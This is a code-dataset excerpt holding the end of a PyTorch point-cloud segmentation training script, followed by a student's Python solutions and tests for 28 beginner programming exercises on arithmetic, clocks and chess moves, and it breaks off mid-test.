per_instance_seg_pred_res = models.model_seg.get_loss(\n labels_pred, seg_pred, labels_ph, seg_ph, 1.0, end_points)\n tensor_cur_seg = torch.from_numpy(cur_seg)\n tensor_cur_seg = tensor_cur_seg.long()\n midstep = per_instance_seg_pred_res.cpu() == tensor_cur_seg[begidx: endidx, :]\n midstep = midstep.data.numpy()\n per_instance_part_acc = np.mean(midstep, axis=1)\n average_part_acc = np.mean(per_instance_part_acc)\n total_seen += 1\n total_loss += total_loss\n total_label_loss += label_loss\n total_seg_loss += seg_loss\n\n per_instance_label_pred = np.argmax(labels_pred, axis=1)\n total_label_acc += np.mean(\n np.float32(per_instance_label_pred.data.numpy() == cur_labels[begidx:endidx, ...]))\n total_seg_acc += average_part_acc\n for shape_idx in range(begidx, endidx):\n total_seen_per_cat[cur_labels[shape_idx]] += 1\n total_label_acc_per_cat[cur_labels[shape_idx]] += np.int32(\n per_instance_label_pred[shape_idx - begidx].data.numpy() == cur_labels[shape_idx])\n total_seg_acc_per_cat[cur_labels[shape_idx]] += per_instance_part_acc[shape_idx - begidx]\n total_loss = total_loss * 1.0 / total_seen\n total_label_loss = total_label_loss * 1.0 / total_seen\n total_seg_loss = total_seg_loss * 1.0 / total_seen\n total_label_acc = total_label_acc * 1.0 / total_seen\n total_seg_acc = total_seg_acc * 1.0 / total_seen\n printout(flog, '\\tTesting Total Mean_loss: %f' % total_loss)\n printout(flog, '\\t\\tTesting Label Mean_loss: %f' % total_label_loss)\n printout(flog, '\\t\\tTesting Label Accuracy: %f' % total_label_acc)\n printout(flog, '\\t\\tTesting Seg Mean_loss: %f' % total_seg_loss)\n printout(flog, '\\t\\tTesting Seg Accuracy: %f' % total_seg_acc)\n printout(flog, '\\n>>> Training for the epoch %d/%d ...' % (epoch, args.epoch))\n\n current_lr = optimizer.param_groups[0]['lr']\n if current_lr > 0.00001:\n update_lr(optimizer, epoch)\n print('\\nLearning rate updated')\n print('\\nLearning rate for next epoch is: %0.9f' % optimizer.param_groups[0]['lr'])\n train_file_idx = np.arange(0, len(train_file_list))\n np.random.shuffle(train_file_idx)\n for i in range(num_train_file):\n cur_train_filename = os.path.join(hdf5_data_dir, train_file_list[train_file_idx[i]])\n printout(flog, 'Loading train file ' + cur_train_filename)\n cur_data, cur_labels, cur_seg = provider.loadDataFile_with_seg(cur_train_filename)\n cur_data, cur_labels, order = provider.shuffle_data(cur_data, np.squeeze(cur_labels))\n cur_seg = cur_seg[order, ...]\n\n cur_labels_one_hot = convert_label_to_one_hot(cur_labels)\n num_data = len(cur_labels)\n num_batch = num_data // batch_size\n\n total_loss = 0.0\n total_label_loss = 0.0\n total_seg_loss = 0.0\n total_label_acc = 0.0\n total_seg_acc = 0.0\n for j in range(num_batch):\n begidx = j * batch_size\n endidx = (j + 1) * batch_size\n\n pointclouds_ph = cur_data[begidx: endidx, ...]\n labels_ph = cur_labels[begidx: endidx, ...]\n input_label_ph = cur_labels_one_hot[begidx: endidx, ...]\n seg_ph = cur_seg[begidx: endidx, ...]\n\n pointclouds_ph = torch.from_numpy(pointclouds_ph)\n input_label_ph = torch.from_numpy(input_label_ph)\n labels_ph = torch.from_numpy(labels_ph)\n seg_ph = torch.from_numpy(seg_ph)\n\n pointclouds_ph = pointclouds_ph.float()\n input_label_ph = input_label_ph.float()\n labels_ph = labels_ph.float()\n seg_ph = seg_ph.float()\n\n pointclouds_ph = pointclouds_ph.to(args.device)\n input_label_ph = input_label_ph.to(args.device)\n labels_ph = labels_ph.to(args.device)\n seg_ph = seg_ph.to(args.device)\n\n\n model.train()\n labels_pred, seg_pred, end_points = model(pointclouds_ph, input_label_ph)\n optimizer.zero_grad()\n total_loss, label_loss, per_instance_label_loss, seg_loss, per_instance_seg_loss, per_instance_seg_pred_res = models.model_seg.get_loss(\n labels_pred, seg_pred, labels_ph, seg_ph, 1.0, end_points)\n\n total_loss.backward()\n optimizer.step()\n per_instance_part_acc = np.mean(per_instance_seg_pred_res.cpu().data.numpy() == cur_seg[begidx: endidx, ...], axis=1)\n average_part_acc = np.mean(per_instance_part_acc)\n per_instance_label_pred = np.argmax(labels_pred.cpu().data.numpy(), axis=1)\n total_label_acc += np.mean(\n np.float32(per_instance_label_pred == cur_labels[begidx:endidx, ...]))\n total_seg_acc += average_part_acc\n total_loss = total_loss * 1.0 / num_batch\n total_label_loss = total_label_loss * 1.0 / num_batch\n total_seg_loss = total_seg_loss * 1.0 / num_batch\n total_label_acc = total_label_acc * 1.0 / num_batch\n total_seg_acc = total_seg_acc * 1.0 / num_batch\n\n printout(flog, '\\tTraining Total Mean_loss: %f' % total_loss)\n printout(flog, '\\t\\tTraining Label Mean_loss: %f' % total_label_loss)\n printout(flog, '\\t\\tTraining Label Accuracy: %f' % total_label_acc)\n printout(flog, '\\t\\tTraining Seg Mean_loss: %f' % total_seg_loss)\n printout(flog, '\\t\\tTraining Seg Accuracy: %f' % total_seg_acc)\n\n if (epoch + 1) % 10 == 0:\n torch.save(model.state_dict(), 'seg')\n printout(flog, 'Successfully store the checkpoint model')\n\n flog.flush()\nflog.close()","sub_path":"segmentation_train.py","file_name":"segmentation_train.py","file_ext":"py","file_size_in_byte":11837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"91367741","text":"###################################################################################\n# Session 1 Programming Problems - 12/10/2018\n# Maciej Durkiewicz (13105098) MSc Computer Science - Part Time\n# - Helper functions are included before exercises code\n# - Main runnable is at the bottom of the script.\n# - Most tests for each exercise match exactly ones on snakify, although\n# for severa additional cases were added. Tests are located in\n# lower half of the script.\n# - Thanks to ROBERT WELLS for clarifying Exercise 16 I/0 on moodle.bbk.ac.uk forums\n# - Tested and run with Python 3.6.5, on MacOS Mojave.\n####################################################################################\n\n\n#######################################\n# Global Flag For Debug / Tests #\n#######################################\n\ndebug = False\n\n\n##########################\n# Helper functions #\n##########################\n\ndef evaluate(expected, actual):\n print((\"expected: {}, actual: {}\").format(*[expected, actual]), end=\"\")\n if expected == actual:\n print(\" - test passed\")\n return 1\n else:\n print(\" - test failed\")\n return 0\n\n\ndef print_test_results(test_results, exercise_name):\n total = len(test_results)\n passed = sum(1 for t in test_results if t == 1)\n failed = sum(1 for t in test_results if t == 0)\n print((\"\\n\\tEnd {} Test - Passed: {}, Failed: {}, Total: {} \\n\").format(*[exercise_name, passed, failed, total]))\n\n# decorator to add simplistic exception handling for arguments type casting\ndef safe_cast_args(*args_types):\n def callback_wrap(func):\n def callback(*args_vars):\n args_casted = ()\n try:\n for i in range(0, len(args_vars)):\n casted_arg = args_types[i](args_vars[i])\n args_casted = args_casted + (casted_arg,)\n except:\n if not debug:\n # generic message, don't throw exception\n print(\"\\n One of the inputs for this method was incorrect, \"\n \"run the script again using appropriate inputs \\n\")\n return None\n else:\n return func(*args_casted)\n return callback\n return callback_wrap\n\n\n##################################\n# 1. Sum of three numbers #\n##################################\n# Write a program that takes three numbers \n# and prints their sum. Every number\n# is given on a separate line.\n\ndef exercise_1():\n a = input(\"First input: \")\n b = input(\"second input: \")\n c = input(\"third input: \")\n sum_of_inputs = exercise_1_solution(a, b, c)\n\n if sum_of_inputs is not None:\n print((\"Sum of given numbers is: {}.\").format(sum_of_inputs))\n else:\n print(\"Zed's dead, Baby. Zed's dead.\")\n\n\n@safe_cast_args(int, int, int)\ndef exercise_1_solution(a, b, c):\n return a + b + c\n\n\n###########################################\n# 2. Area of right-angled triangle #\n###########################################\n# Write a program that reads the length \n# of the base and the height of a \n# right-angled triangle and prints the area. \n# Every number is given on a separate line.\n\ndef exercise_2():\n base_len = input(\"Triangle base length: \")\n height_len = input(\"Triangle height length: \")\n triangle_surface = exercise_2_solution(base_len, height_len)\n\n if triangle_surface is not None:\n print((\"Surface of such triangle is equal to {} squared units\").format(triangle_surface))\n else:\n print(\"Earth's closest approach to the sun, called perihelion, \"\n \"it comes in early January and is about 146 million km\")\n\n\n@safe_cast_args(int, int)\ndef exercise_2_solution(base_len, height_len):\n surface = abs((base_len * height_len) / 2.0)\n return surface\n\n\n###########################\n# 3. Apple sharing #\n###########################\n# N students take K apples and distribute them among each other evenly.\n# The remaining (the undivisible) part remains in the basket.\n# How many apples will each single student get? How many apples will remain in the basket?\n# The program reads the numbers N and K. It should print the two answers for the questions above.\n\ndef exercise_3():\n students_number = input(\"Number of students to share apples: \")\n apples_amount = input(\"Number of available apples: \")\n solution = exercise_3_solution(students_number, apples_amount)\n\n if solution is not None:\n print((\"Each student will get {} apples. \"\n \"After sharing, there will remain {} apples in the basket\").format(*solution))\n else:\n print(\"Whatever remains, however improbable, must be the truth.\")\n\n\n@safe_cast_args(int, int)\ndef exercise_3_solution(students_number, apples_amount):\n if students_number < 0 or apples_amount < 0:\n return None\n\n if students_number == 0:\n return (0, apples_amount)\n\n apples_per_student = apples_amount // students_number\n apples_remaining = apples_amount % students_number\n\n return (apples_per_student, apples_remaining)\n\n\n############################\n# 4. Hello, Harry! #\n############################\n# Write a program that greets the user by printing the word \"Hello\", a comma, \n# the name of the user and an exclamation mark after it. See the examples below.\n# Warning. Your program's output should strictly match the desired one, character\n# by character. There shouldn't be any space between the name and the exclamation mark. \n# You can use + operator to concatenate two strings.\n\ndef exercise_4():\n print(\"Hi, what's your name?\")\n name = input(\"I am: \")\n greeting = exercise_4_solution(name)\n if greeting is not None:\n print(greeting)\n else: \n print(\"Yerr ay izzart 'Arry...\")\n\n\n@safe_cast_args(str)\ndef exercise_4_solution(name):\n if len(name) == 0:\n return None\n\n start_pos = 0\n end_pos = len(name)-1\n\n for i in range(0, len(name)):\n if name[start_pos] == \" \":\n start_pos += 1\n if name[end_pos] == \" \":\n end_pos -= 1\n\n return \"Hello, {}!\".format(name[start_pos:end_pos+1])\n\n\n################################\n# 5. Previous and next #\n################################\n# Write a program that reads an integer number and prints its previous and next numbers. \n# See the examples below for the exact format your answers should take. \n# There shouldn't be a space before the period.\n# Remember that you can convert the numbers to strings using the function str.\n\ndef exercise_5():\n number = input(\"Type in number, any number: \")\n solution = exercise_5_solution(number)\n if solution is not None:\n print((\"The next number for the number {2} is {1}.\"\n \"\\nThe previous number for the number {2} is {0}.\").format(*solution, number))\n else:\n print(\"Mistakes were made... Beam Me Up, Scotty!\")\n\n\n@safe_cast_args(float)\ndef exercise_5_solution(number_f):\n number_i = int(number_f)\n number = number_i\n\n if number_f != 0:\n if number_i / number_f != 1: \n number = number_f\n else:\n number = number_i\n\n try:\n smaller = number - 1\n bigger = number + 1\n except:\n # overflowError\n return None\n else:\n return (smaller, bigger)\n\n\n###########################\n# 6. School desks #\n###########################\n# A school decided to replace the desks in three classrooms. \n# Each desk sits two students. Given the number of students in each class, \n# print the smallest possible number of desks that can be purchased.\n# The program should read three integers: the number of students in each of the three classes, a, b and c respectively.\n\n# In the first test there are three groups. The first group has 20 students and thus needs 10 desks. \n# The second group has 21 students, so they can get by with no fewer than 11 desks. \n# 11 desks is also enough for the third group of 22 students. So we need 32 desks in total.\n\ndef exercise_6():\n print(\"Please provide number of students for each of three classes\")\n students_a = input(\"Class A: \")\n students_b = input(\"Class B: \")\n students_c = input(\"Class C: \")\n \n desks_needed = exercise_6_solution(students_a, students_b, students_c)\n \n if desks_needed is not None:\n print((\"You will need {} desks fort all three classes\").format(desks_needed))\n else: \n print(\"Have you tried turning it off and on again?\")\n\n\n@safe_cast_args(int, int, int)\ndef exercise_6_solution(students_a, students_b, students_c):\n \n if students_a < 0 or students_b < 0 or students_c < 0:\n return None\n\n students = [students_a, students_b, students_c]\n desks_per_class = map(lambda stud: stud // 2 + stud % 2, students)\n\n return sum(desks_per_class)\n\n\n###################################\n# 7. Last digit of integer #\n###################################\n# Given an integer number, print its last digit.\n\ndef exercise_7():\n num = input(\"Pick your number, any number: \")\n last_digit = exercise_7_solution(num)\n if last_digit is not None:\n print((\"The last digit of your number is {}.\").format(last_digit))\n else:\n print(\"Aren't you little short for a stormtrooper?\")\n\n\n@safe_cast_args(int)\ndef exercise_7_solution(num):\n last_digit = abs(num) % 10\n return last_digit\n\n\n###########################\n# 8. Tenth digit #\n###########################\n# Given an integer. Print its tens digit.\n\ndef exercise_8():\n num = input(\"Pick your number, any number: \")\n last_digit = exercise_8_solution(num)\n if last_digit is not None:\n print((\"The last digit of your number is {}.\").format(last_digit))\n else:\n print(\"I'm sorry, Dave. I'm afraid I can't do that.\")\n\n\n@safe_cast_args(int)\ndef exercise_8_solution(num):\n last_digit = (abs(num) % 100)//10\n return last_digit\n\n\n############################\n# 9. Sum of digits #\n############################\n# Given a three-digit number. Find the sum of its digits.\n\ndef exercise_9():\n num = input(\"Pick your number, any number: \")\n sum_of_digits = exercise_9_solution(num)\n if sum_of_digits is not None:\n print((\"The sum of digits in your number is {}.\").format(sum_of_digits))\n else:\n print(\"I'm sorry, Dave. I'm afraid I can't do that.\")\n\n\n@safe_cast_args(int)\ndef exercise_9_solution(num):\n num = str(num)\n sum_of_digits = 0\n for digit in num:\n sum_of_digits += int(digit)\n\n return sum_of_digits\n\n\n###############################\n# 10. Fractional part #\n###############################\n# Given a positive real number, print its fractional part.\n\ndef exercise_10():\n num = input(\"Pick your number, any number, ideally with few digits after decimal point: \")\n fractional_precission = exercise_10_solution(num)\n if fractional_precission is not None:\n print((\"The fractional part of your number is {}. \"\n \"It is rounded off to {} digits after the decimal point.\").format(*fractional_precission))\n else:\n print(\"I'm sorry, Dave. I'm afraid I can't do that.\")\n\n\n@safe_cast_args(float)\ndef exercise_10_solution(num):\n num_int = int(num)\n precision = int(len(str(num)) - str(num).find(\".\"))\n\n return (abs(round(num - num_int, precision)), precision)\n\n\n###############################################\n# 11. First digit after decimal point #\n###############################################\n# Given a positive real number, print its first digit to the right of the decimal point.\n\ndef exercise_11():\n num = input(\"Pick your number, any number, ideally with few digits after decimal point: \")\n first_digit = exercise_11_solution(num)\n if first_digit is not None:\n print((\"The first digit after decimal point is {}.\").format(first_digit))\n else:\n print(\"Toto, I've a feeling we're not in Kansas anymore.\")\n\n\n@safe_cast_args(float)\ndef exercise_11_solution(num):\n num_int = int(num)\n if num - num_int == 0:\n return 0\n\n dec_point = str(num).find(\".\")\n return int(str(num)[dec_point+1])\n\n\n#########################\n# 12. Car route #\n#########################\n# A car can cover distance of N kilometers per day.\n# How many days will it take to cover a route of length M kilometers? The program gets two numbers: N and M.\n\ndef exercise_12():\n km_per_day = input(\"Number of kilometers the car can cover per day: \")\n distance = input(\"Distance to cover: \")\n\n time_to_complete = exercise_12_solution(km_per_day, distance)\n if time_to_complete is not None:\n print((\"It will take {} days to cover {}km using this car.\").format(time_to_complete, distance))\n else:\n print(\"You've never heard of the Millennium Falcon?\"\n \"It's the ship that made the Kessel Run in less than twelve parsecs.\")\n\n\n@safe_cast_args(int, int)\ndef exercise_12_solution(km_per_day, distance):\n\n return int((distance // km_per_day) + (distance % km_per_day > 0))\n\n\n#############################\n# 13. Digital Clock #\n#############################\n# Given the integer N - the number of minutes that is passed since midnight -\n# how many hours and minutes are displayed on the 24h digital clock?\n# The program should print two numbers:\n# the number of hours (between 0 and 23) and the number of minutes (between 0 and 59).\n#\n# For example, if N = 150, then 150 minutes have passed since midnight -\n# i.e. now is 2:30 am. So the program should print 2 30.\n\ndef exercise_13():\n minutes_past_midnight = input(\"Number of minutes past mindnight: \")\n\n timestamp = exercise_13_solution(minutes_past_midnight)\n if timestamp is not None:\n print((\"The time is {} {} .\").format(*timestamp))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int)\ndef exercise_13_solution(minutes_past_midnight):\n if minutes_past_midnight >= (60 * 24):\n minutes_past_midnight = minutes_past_midnight - ((minutes_past_midnight // (60 * 24)) * (60 * 24))\n\n hours_past = minutes_past_midnight // 60\n minutes_past = minutes_past_midnight - (hours_past * 60)\n return (hours_past, minutes_past)\n\n\n##########################\n# 14. Total Cost #\n##########################\n# A cupcake costs A dollars and B cents.\n# Determine, how many dollars and cents should one pay for N cupcakes.\n# A program gets three numbers: A, B, N. It should print two numbers: total cost in dollars and cents.\n\ndef exercise_14():\n dollars_price_single = input(\"Number of whole dollars to pay for a single cupcake: \")\n cents_price_single = input(\"Number of cents to pay for a single cupcake: \")\n cupcakes_number = input(\"Number of cupcakes to buy: \")\n\n\n total_cost = exercise_14_solution(dollars_price_single, cents_price_single, cupcakes_number)\n if total_cost is not None:\n print((\"The total cost of given cupcakes is {} dollars and {} cents .\").format(*total_cost))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int)\ndef exercise_14_solution(dollars_price, cents_price, amount):\n cents_cost = (amount * cents_price) % 100\n dollars_cost = amount * dollars_price + (amount * cents_price) // 100\n\n return (dollars_cost, cents_cost)\n\n\n############################\n# 15. Clock Face-1 #\n############################\n# H hours, M minutes and S seconds are passed since the midnight\n# (0 ≤ H < 12, 0 ≤ M < 60, 0 ≤ S < 60). Determine the angle (in degrees)\n# of the hour hand on the clock face right now.\n\ndef exercise_15():\n h = input(\"Number of hours past midnight: \")\n m = input(\"Number of minutes past full hour: \")\n s = input(\"Number of seconds past full minute: \")\n\n angle = exercise_15_solution(h,m,s)\n if angle is not None:\n print((\"The angle of hour hand is equal to {} degrees.\").format(angle))\n else:\n print(\"The way I see it, if you’re going to build a time machine into a car, why not do it with some style?\")\n\n\n@safe_cast_args(int, int, int)\ndef exercise_15_solution(h, m, s):\n if h >= 12:\n h -= 12\n\n h_angle = (360 / 12) * (h + (m/60) + (s/3600))\n return round(h_angle, 3)\n\n\n\n#######################\n# Clock Face-2 #\n#######################\n# Hour hand turned by α degrees since the midnight.\n# Determine the angle by which minute hand turned since the start of the current hour.\n# Input and output in this problems are floating-point numbers.\n\n\ndef exercise_16():\n h_angle = input(\"Angle hour hand has travelled since midnight: \")\n\n m_angle = exercise_16_solution(h_angle)\n if m_angle is not None:\n print((\"The angle of minute hand is equal to {} degrees.\").format(m_angle))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(float)\ndef exercise_16_solution(h_angle_total):\n hour_angle_since_full = h_angle_total - 30 * (h_angle_total // 30)\n minute_since_full = (hour_angle_since_full * 60) / 30\n minute_angle = (360 * minute_since_full) / 60\n\n return round(minute_angle, 3)\n\n\n######################################\n# 17. Minimum of two numbers #\n######################################\n# Given two integers, print the smaller value.\n\ndef exercise_17():\n a = input(\"First number: \")\n b = input(\"Second number: \")\n\n smaller = exercise_17_solution(a, b)\n if smaller is not None:\n print((\"Smaller number is the {}.\").format(smaller))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int)\ndef exercise_17_solution(a, b):\n if a > b:\n return b\n else:\n return a\n\n\n#############################\n# 18. Sign function #\n#############################\n# For the given integer X print 1 if it's positive, -1 if it's negative, or 0 if it's equal to zero.\n# Try to use the cascade if-elif-else for it.\n\ndef exercise_18():\n a = input(\"Number: \")\n\n out = exercise_18_solution(a)\n if out is not None:\n print((\"The sign of given input is {}, where 1 is '+', 0 is '0', and -1 is '-'\").format(out))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int)\ndef exercise_18_solution(a):\n if a > 0:\n return 1\n elif a == 0:\n return 0\n else:\n return -1\n\n\n##########################################\n# 19. Minimum of three numbers #\n##########################################\n# Given three integers, print the smallest value.\n\ndef exercise_19():\n a = input(\"First number: \")\n b = input(\"Second number: \")\n c = input(\"Third number: r\")\n\n smallest = exercise_19_solution(a, b, c)\n if smallest is not None:\n print((\"Smallest number from given input is {}.\").format(smallest))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int)\ndef exercise_19_solution(a, b, c):\n if a < b and a < c:\n return a\n elif b < c and b < a:\n return b\n else:\n return c\n\n\n#########################\n# 20. Leap year #\n#########################\n# Given the year number. You need to check if this year is a leap year. If it is, print LEAP, otherwise print COMMON.\n# The rules in Gregorian calendar are as follows:\n#\n# a year is a leap year if its number is exactly divisible by 4 and is not exactly divisible by 100\n# a year is always a leap year if its number is exactly divisible by 400\n# Warning. The words LEAP and COMMON should be printed all caps.\n\ndef exercise_20():\n year = input(\"Year to be tested: \")\n\n year_type = exercise_20_solution(year)\n if year_type is not None:\n print((\"The year {} is {}.\").format(year, year_type))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int)\ndef exercise_20_solution(year):\n cond_a = (year % 4 == 0) and (year % 100 != 0)\n cond_b = (year % 400 == 0)\n if cond_a or cond_b:\n return \"LEAP\"\n else:\n return \"COMMON\"\n\n\n##############################\n# 21. Equal numbers #\n##############################\n# Given three integers, determine how many of them are equal to each other.\n# The program must print one of these numbers:\n# 3 (if all are the same), 2 (if two of them are equal to each other\n# and the third is different) or 0 (if all numbers are different).\n\ndef exercise_21():\n a = input(\"First number: \")\n b = input(\"Second number: \")\n c = input(\"Third number: \")\n\n duplicates = exercise_21_solution(a, b, c)\n if duplicates is not None:\n print((\"From given inputs {} are equal\").format(duplicates))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int)\ndef exercise_21_solution(a, b, c):\n if a == b and a == c:\n return 3\n elif (a == b or a == c) or (b == c):\n return 2\n else:\n return 0\n\n\n#########################\n# 22. Rook move #\n#########################\n# Chess rook moves horizontally or vertically.\n# Given two different cells of the chessboard,\n# determine whether a rook can go from the first cell to the second in one move.\n# The program receives the input of four numbers from 1 to 8,\n# each specifying the column and row number, first two - for the first cell,\n# and then the last two - for the second cell.\n# The program should output YES if a rook can go from the first cell to the second in one move, or NO otherwise.\n\ndef exercise_22():\n start_col = input(\"Rook's starting column index: \")\n start_row = input(\"Rook's starting row index: \")\n end_col = input(\"Rook's ending column index: \")\n end_row = input(\"Rook's ending row index: \")\n\n can_go = exercise_22_solution(start_col, start_row, end_col, end_row)\n if can_go is not None:\n print((\"Is given rooks move possible? - {}.\").format(can_go))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int, int)\ndef exercise_22_solution(start_col, start_row, end_col, end_row):\n if start_row == end_row or start_col == end_col:\n return \"YES\"\n else:\n return \"NO\"\n\n\n###########################\n# 23. Chess board #\n###########################\n# Given two cells of a chessboard. If they are painted in one color,\n# print the word YES, and if in a different color - NO.\n# The program receives the input of four numbers from 1 to 8,\n# each specifying the column and row number,\n# first two - for the first cell, and then the last two - for the second cell.\n\ndef exercise_23():\n first_col = input(\"Board cells's first column index: \")\n first_row = input(\"Board cells's first row index: \")\n second_col = input(\"Board cells's second column index: \")\n second_row = input(\"Board cells's second row index: \")\n\n is_same = exercise_23_solution(first_col, first_row, second_col, second_row)\n if is_same is not None:\n print((\"Is the color of given fields the same? - {}.\").format(is_same))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int, int)\ndef exercise_23_solution(first_col, first_row, second_col, second_row):\n columns_same = (first_col % 2 == second_col % 2)\n rows_same = (first_row % 2 == second_row % 2)\n\n if columns_same == rows_same:\n return \"YES\"\n else:\n return \"NO\"\n\n\n##########################\n# 24. King move #\n##########################\n# In chess, the bishop moves diagonally, any number of squares. Given two different squares of the chessboard,\n# determine whether a bishop can go from the first to the second in one move.\n# The program receives as input four numbers from 1 to 8, specifying the column and row numbers\n# of the starting square and the column and row numbers of the ending square.\n# The program should output YES if a Bishop can go from the first square to the second in one move, or NO otherwise.\n\ndef exercise_24():\n start_col = input(\"Kings's starting column index: \")\n start_row = input(\"Kings's starting row index: \")\n end_col = input(\"Kings's ending column index: \")\n end_row = input(\"Kings's ending row index: \")\n\n can_move = exercise_24_solution(start_col, start_row, end_col, end_row)\n if can_move is not None:\n print((\"Is the kings move possible? - {}.\").format(can_move))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int, int)\ndef exercise_24_solution(start_col, start_row, end_col, end_row):\n vertical_constraint = (abs(start_col - end_col) <= 1)\n horizontal_constraint = (abs(start_row - end_row) <= 1)\n\n if (horizontal_constraint and vertical_constraint):\n return \"YES\"\n else:\n return \"NO\"\n\n\n############################\n# 25. Bishop move #\n############################\n# In chess, the bishop moves diagonally, any number of squares.\n# Given two different squares of the chessboard, determine whether\n# a bishop can go from the first to the second in one move.\n# The program receives as input four numbers from 1 to 8,\n# specifying the column and row numbers of the starting square and the\n# column and row numbers of the ending square.\n# The program should output YES if a Bishop can go from the first\n# square to the second in one move, or NO otherwise.\n\ndef exercise_25():\n start_col = input(\"Bishop's starting column index: \")\n start_row = input(\"Bishop's starting row index: \")\n end_col = input(\"Bishop's ending column index: \")\n end_row = input(\"Bishop's ending row index: \")\n\n can_move = exercise_25_solution(start_col, start_row, end_col, end_row)\n if can_move is not None:\n print((\"Is the Bishop's move possible? - {}.\").format(can_move))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int, int)\ndef exercise_25_solution(start_col, start_row, end_col, end_row):\n vertical_vector = abs(start_col - end_col)\n horizontal_vector = abs(start_row - end_row)\n\n if horizontal_vector == vertical_vector:\n return \"YES\"\n else:\n return \"NO\"\n\n\n############################\n# 26. Queen move #\n############################\n# Chess queen moves horizontally, vertically or diagonally to any number of cells.\n# Given two different cells of the chessboard, determine whether a queen\n# can go from the first cell to the second in one move.\n# The program receives the input of four numbers from 1 to 8,\n# each specifying the column and row number, first two - for the first cell,\n# and then the last two - for the second cell. The program should output YES if a\n# queen can go from the first cell to the second in one move, or NO otherwise.\n\ndef exercise_26():\n start_col = input(\"Queen's starting column index: \")\n start_row = input(\"Queen's starting row index: \")\n end_col = input(\"Queen's ending column index: \")\n end_row = input(\"Queen's ending row index: \")\n\n can_move = exercise_26_solution(start_col, start_row, end_col, end_row)\n if can_move is not None:\n print((\"Is the Queen's move possible? - {}.\").format(can_move))\n else:\n print(\"Toto, I've a feeling we're not in Kansas anymore.\")\n\n\n@safe_cast_args(int, int, int, int)\ndef exercise_26_solution(start_col, start_row, end_col, end_row):\n vertical_vector = abs(start_col - end_col)\n horizontal_vector = abs(start_row - end_row)\n is_single_dimension_vector = vertical_vector == 0 or horizontal_vector == 0\n\n if horizontal_vector == vertical_vector or is_single_dimension_vector:\n return \"YES\"\n else:\n return \"NO\"\n\n\n############################\n# 27. Knight move #\n############################\n# Chess knight moves like the letter L. It can move two cells\n# horizontally and one cell vertically, or two cells vertically\n# and one cells horizontally. Given two different cells of the chessboard,\n# determine whether a knight can go from the first cell to the second in one move.\n# The program receives the input of four numbers from 1 to 8, each specifying\n# the column and row number, first two - for the first cell,\n# and then the last two - for the second cell. The program should output YES\n# if a knight can go from the first cell to the second in one move, or NO otherwise.\n\ndef exercise_27():\n start_col = input(\"Knight's starting column index: \")\n start_row = input(\"Knight's starting row index: \")\n end_col = input(\"Knight's ending column index: \")\n end_row = input(\"Knight's ending row index: \")\n\n can_move = exercise_27_solution(start_col, start_row, end_col, end_row)\n if can_move is not None:\n print((\"Is the Knight's move possible? - {}.\").format(can_move))\n else:\n print(\"He who controls the Spice, controls the universe!\")\n\n\n@safe_cast_args(int, int, int, int)\ndef exercise_27_solution(start_col, start_row, end_col, end_row):\n vertical_vector = abs(start_col - end_col)\n horizontal_vector = abs(start_row - end_row)\n\n if horizontal_vector + vertical_vector == 3 and horizontal_vector - vertical_vector < 3:\n return \"YES\"\n else:\n return \"NO\"\n\n\n##############################\n# 28. Chocolate bar #\n##############################\n# Chocolate bar has the form of a rectangle divided into n×m portions.\n# Chocolate bar can be split into two rectangular parts by breaking it along\n# a selected straight line on its pattern. Determine whether it is possible\n# to split it so that one of the parts will have exactly k squares.\n# The program reads three integers: n, m, and k. It should print YES or NO.\n\ndef exercise_28():\n cols = input(\"Length of the chocolate in number of squares: \")\n rows = input(\"Width of the chocolate in number of squares: \")\n required_squares = input(\"Number of squares required in a single block: \")\n\n can_divide = exercise_28_solution(cols, rows, required_squares)\n if can_divide is not None:\n print((\"Is it possible to get {} chocolate squares in a single block? - {}.\").format(required_squares, can_divide))\n else:\n print(\"Toto, I've a feeling we're not in Kansas anymore.\")\n\n\n@safe_cast_args(int, int, int)\ndef exercise_28_solution(cols, rows, req):\n large_enough = cols*rows > req\n ver_div = req % cols == 0\n hor_div = req % rows == 0\n\n if large_enough and (ver_div or hor_div):\n return \"YES\"\n else:\n return \"NO\"\n\n\n#################\n# TESTS #\n#################\n\ndef exercise_1_tests():\n print(\"\\n\\tStart Exercise 1 Tests - Sum of three numbers \\n\")\n tests = [\n evaluate(11, exercise_1_solution(2, 3, 6)),\n evaluate(320, exercise_1_solution(0, 20, 300)),\n evaluate(158, exercise_1_solution(-5, 180, -17)),\n evaluate(None, exercise_1_solution('a', 180, -17))\n ]\n print_test_results(tests, \"Exercise 1\")\n\n\ndef exercise_2_tests():\n print(\"\\n\\tStart Exercise 2 Test - Trialngle area tests \\n\")\n tests = [ evaluate(7.5, exercise_2_solution(3,5)),\n evaluate(10.0, exercise_2_solution(10,2)),\n evaluate(137293.0, exercise_2_solution(179,1534)),\n evaluate(43975.5, exercise_2_solution(57,1543 )),\n evaluate(0, exercise_2_solution(0,10)),\n evaluate(7.5, exercise_2_solution(-3,5)),\n evaluate(7.5, exercise_2_solution(-3,-5)),\n evaluate(None, exercise_2_solution('a',5))\n ]\n print_test_results(tests, \"Exercise 2\")\n\n\ndef exercise_3_tests():\n print(\"\\n\\tStart Exercise 3 Tests - Apple sharing \\n\")\n tests = [\n evaluate((8, 2), exercise_3_solution(6, 50)),\n evaluate((10, 0), exercise_3_solution(1, 10)),\n evaluate((5, 0), exercise_3_solution(5, 25)),\n evaluate((0, 2), exercise_3_solution(4, 2)),\n evaluate((0, 0), exercise_3_solution(10, 0)),\n evaluate(None, exercise_3_solution(10, -1)),\n evaluate(None, 